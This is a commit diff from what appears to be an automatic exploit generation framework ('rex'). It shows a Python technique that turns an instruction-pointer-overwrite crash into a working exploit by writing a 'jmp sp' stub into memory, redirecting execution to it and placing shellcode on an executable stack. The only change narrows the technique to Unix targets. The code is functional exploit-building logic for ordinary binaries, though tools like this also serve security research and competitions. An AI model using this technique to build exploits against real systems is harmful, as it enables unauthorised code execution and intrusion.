old_contents: import logging
  from rex import Vulnerability
  from rex.exploit import Exploit, CannotExploit, NoSuchShellcode
  from ..technique import Technique
  
  l = logging.getLogger("rex.exploit.techniques.call_jmp_sp_shellcode")
  
  class CallJmpSPShellcode(Technique):
  
      name = "call_jmp_sp_shellcode"
  
      applicable_to = ['unix', 'cgc']
  
      def apply(self, **kwargs):
  
          # can only exploit ip overwrites
          ct = self.crash.crash_type
          if ct != Vulnerability.IP_OVERWRITE and ct != Vulnerability.PARTIAL_IP_OVERWRITE:
              raise CannotExploit("[%s] cannot control ip" % self.name)
  
          if not self.crash.project.loader.main_bin.execstack:
              raise CannotExploit("[%s] stack is not executable" % self.name)
  
          # try to write 'jmp sp' into global memory
          try:
              jmpsp_stub = self.shellcode.get_shellcode('jmpsp')
          except NoSuchShellcode as e:
              raise CannotExploit("[%s] %s" % (self.name, e.message))
  
          jmpsp_addr, jmpsp_constraint = self._write_global_data(jmpsp_stub)
          if jmpsp_addr is None:
              try:
                  jmpsp_addr, jmpsp_constraint = self._read_in_global_data(jmpsp_stub)
              except CannotExploit as e:
                  raise CannotExploit("[%s] cannot call read, %s" % (self.name, e.message))
              if jmpsp_addr is None:
                  raise CannotExploit("[%s] cannot write in 'jmp sp'" % self.name)
  
  
          # apply the constraint that 'jmp sp' must exist in memory
          self.crash.state.add_constraints(jmpsp_constraint)
  
          # add the constraint that the ip must point at the 'jmp sp' stub
          self.crash.state.add_constraints(self.crash.state.ip == jmpsp_addr)
  
          # add the constraint that our shellcode must exist at sp
          shellcode = self.crash.state.se.BVV(self.shellcode.get_default(**kwargs))
          stack_mem = self.crash.state.memory.load(self.crash.state.regs.sp, len(shellcode) / 8)
          self.crash.state.add_constraints(stack_mem == shellcode)
  
          if not self.crash.state.satisfiable():
              raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)
  
          return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
  
new_contents: import logging
  from rex import Vulnerability
  from rex.exploit import Exploit, CannotExploit, NoSuchShellcode
  from ..technique import Technique
  
  l = logging.getLogger("rex.exploit.techniques.call_jmp_sp_shellcode")
  
  class CallJmpSPShellcode(Technique):
  
      name = "call_jmp_sp_shellcode"
  
      applicable_to = ['unix']
  
      def apply(self, **kwargs):
  
          # can only exploit ip overwrites
          ct = self.crash.crash_type
          if ct != Vulnerability.IP_OVERWRITE and ct != Vulnerability.PARTIAL_IP_OVERWRITE:
              raise CannotExploit("[%s] cannot control ip" % self.name)
  
          if not self.crash.project.loader.main_bin.execstack:
              raise CannotExploit("[%s] stack is not executable" % self.name)
  
          # try to write 'jmp sp' into global memory
          try:
              jmpsp_stub = self.shellcode.get_shellcode('jmpsp')
          except NoSuchShellcode as e:
              raise CannotExploit("[%s] %s" % (self.name, e.message))
  
          jmpsp_addr, jmpsp_constraint = self._write_global_data(jmpsp_stub)
          if jmpsp_addr is None:
              try:
                  jmpsp_addr, jmpsp_constraint = self._read_in_global_data(jmpsp_stub)
              except CannotExploit as e:
                  raise CannotExploit("[%s] cannot call read, %s" % (self.name, e.message))
              if jmpsp_addr is None:
                  raise CannotExploit("[%s] cannot write in 'jmp sp'" % self.name)
  
  
          # apply the constraint that 'jmp sp' must exist in memory
          self.crash.state.add_constraints(jmpsp_constraint)
  
          # add the constraint that the ip must point at the 'jmp sp' stub
          self.crash.state.add_constraints(self.crash.state.ip == jmpsp_addr)
  
          # add the constraint that our shellcode must exist at sp
          shellcode = self.crash.state.se.BVV(self.shellcode.get_default(**kwargs))
          stack_mem = self.crash.state.memory.load(self.crash.state.regs.sp, len(shellcode) / 8)
          self.crash.state.add_constraints(stack_mem == shellcode)
  
          if not self.crash.state.satisfiable():
              raise CannotExploit("[%s] generated exploit is not satisfiable" % self.name)
  
          return Exploit(self.crash, bypasses_nx=False, bypasses_aslr=True)
  
subject: Call Jmp SP shellcode technique can now only be applied to unix targets